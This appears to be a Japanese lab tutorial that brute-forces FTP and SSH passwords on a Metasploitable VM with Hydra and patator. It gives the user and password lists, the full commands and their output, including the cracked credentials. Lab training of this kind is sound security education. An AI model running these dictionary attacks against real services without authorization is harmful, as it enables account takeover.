Hydraとpatatorによる辞書攻撃で FTP 及び SSH のアカパスを特定する

Linux

今回は辞書攻撃にて、Metasploitable の FTP 及び SSH のアカウント/パスワードを特定します。

Hydra について

今回、Hydraという Kali にデフォルトでインストールされているパスワードクラックツールを使用します。
Hydra はオンラインでのパスワードクラックを行います。

オフラインとオンラインの違いは以下の通りです。

オフライン攻撃・・・ターゲット端末に保存されているパスワードのデータファイル(ハッシュ値)を自端末に保存し、自端末上で解析を行う方法。
オンライン攻撃・・・ターゲットに対して実際にアクセスを試行してパスワードを特定する方法。

オンライン攻撃であれば、一定期間アクセス禁止となったりアクセスログが残るため、解析が非常に困難になります。

オフライン攻撃は以下の記事で紹介しています。

ユーザーリストとパスワードリストの用意

辞書攻撃を行うために、まずはリストを用意します。

以下の通り、ユーザーリストを作成します。
※tomcat の後に Ctrl+C でプロンプトに戻っています。

root@kali:~# cat > user.lst
root
sys
msfadmin
admin
user
service
postgres
tomcat
root@kali:~#

次にパスワードリストを作成します。
※tomcat の後に Ctrl+C でプロンプトに戻っています。

root@kali:~# cat > pass.lst
user
password
12345678
msfadmin
root
guest
batman
asdfasdf
tomcat
root@kali:~#

これでリストの準備はできました。それではパスワード解析を行っていきます。

FTPアカウントのパスワード解析

以下コマンドで hydra によるパスワード解析を行うことができます。
hydra -L user.lst -P pass.lst -t 8 10.0.0.5 ftp

「-L」ではユーザーリストを、「-P」ではパスワードリストを指定してします。
「-t」では並列処理するタスク数を指定しています。
IPアドレスはターゲット端末を、最後にサービスプロトコルを指定します。

root@kali:~# hydra -L user.lst -P pass.lst -t 8 10.0.0.5 ftp
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-03-23 09:00:54
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 8 tasks per 1 server, overall 8 tasks, 56 login tries (l:7/p:8), ~7 tries per task
[DATA] attacking ftp://10.0.0.5:21/
[21][ftp] host: 10.0.0.5   login: msfadmin   password: msfadmin
[21][ftp] host: 10.0.0.5   login: user   password: user
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-03-23 09:01:26
root@kali:~# 

後半の以下部分を見るとわかりますが、2アカウントのパスワードが特定できました。

[21][ftp] host: 10.0.0.5   login: msfadmin   password: msfadmin
[21][ftp] host: 10.0.0.5   login: user   password: user

SSHアカウントのパスワード解析

次はSSHアカウントのパスワードを解析します。
方法はFTPと同様で、末尾のサービスプロトコルをSSHに変えるのみです。

root@kali:~# hydra -L user.lst -P pass.lst -t 8 10.0.0.5 ssh
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-03-23 09:08:31
[DATA] max 8 tasks per 1 server, overall 8 tasks, 56 login tries (l:7/p:8), ~7 tries per task
[DATA] attacking ssh://10.0.0.5:22/
[22][ssh] host: 10.0.0.5   login: sys   password: batman
[22][ssh] host: 10.0.0.5   login: msfadmin   password: msfadmin
[22][ssh] host: 10.0.0.5   login: user   password: user
[STATUS] 42.00 tries/min, 42 tries in 00:01h, 14 to do in 00:01h, 8 active
1 of 1 target successfully completed, 3 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-03-23 09:10:09
root@kali:~#

3アカウントのパスワードが特定できました。
なお「ハッキングラボのつくりかた」には、SSHの場合並行処理するタスク数が多いと警告が出る場合があるとのことなので、その場合はタスク数を減らしてください。

なお、以下のような書式でポートを指定することもできるため、SSHのポート番号が変更されているような場合にはこちらの書式で実行する必要があります。

root@kali:~# hydra -L user.lst -P pass.lst -t 8 ssh://10.0.0.5:22

patator によるパスワード解析

Hydra の他にも、Kaliにはpatatorというパスワードクラックツールがインストールされています。
patatorもHydraと同様にオンライン攻撃を行います。

コマンドは以下となります。

patator ssh_login host=10.0.0.5 user=FILE0 password=FILE1 0=user.lst 1=pass.lst -x ignore:mesg='Authentication failed.'

「ssh_login host=10.0.0.5」はSSHで10.0.0.5 にオンライン攻撃することを示しています。
「user=FILE0 password=FILE1 0=user.lst 1=pass.lst」はユーザーリスト、パスワードリストをそれぞれ指定しています。「FILE」はリストを用いることを示しています。
「-x ignore:mesg=’Authentication failed.’」は mesg欄が”Authentication failed. “のログを出力しないことを表しています。 patator は認証に失敗するたびにログが出力されるため、事前にフィルタリングをしています。

それでは実行してみます。

root@kali:~# patator ssh_login host=10.0.0.5 user=FILE0 password=FILE1 0=user.lst 1=pass.lst -x ignore:mesg='Authentication failed.'
09:21:50 patator    INFO - Starting Patator v0.7 (https://github.com/lanjelot/patator) at 2020-03-23 09:21 EDT
09:21:50 patator    INFO -                                                                              
09:21:50 patator    INFO - code  size    time | candidate                          |   num | mesg
09:21:50 patator    INFO - -----------------------------------------------------------------------------
09:22:14 patator    INFO - 0     37    10.049 | sys:batman                         |    15 | SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
09:22:14 patator    INFO - 0     37    10.030 | msfadmin:msfadmin                  |    20 | SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
09:22:39 patator    INFO - 0     37    10.012 | user:user                          |    33 | SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
09:23:06 patator    INFO - Hits/Done/Skip/Fail/Size: 3/56/0/0/56, Avg: 0 r/s, Time: 0h 1m 15s
root@kali:~#

Hydra で解析したときと同様に3アカウントのパスワードが解析できました。

今回は以上です。

くどり

この記事は「ハッキング・ラボのつくりかた 第6章 」をベースに作成しています。購入リンクは以下です。
※Amazonアソシエイトを使用しています。

コメント

タイトルとURLをコピーしました